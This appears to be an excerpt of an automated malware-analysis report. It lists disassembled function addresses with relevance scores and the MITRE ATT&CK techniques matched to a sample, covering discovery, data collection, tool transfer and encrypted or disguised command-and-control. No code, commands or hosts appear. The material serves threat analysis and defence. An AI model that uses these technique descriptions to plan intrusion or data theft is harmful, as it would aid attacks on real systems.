Function 01630F18 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 00EC39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 01630CE8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 143
fileCOMMON

Function 00EC407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Function 00EE541D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre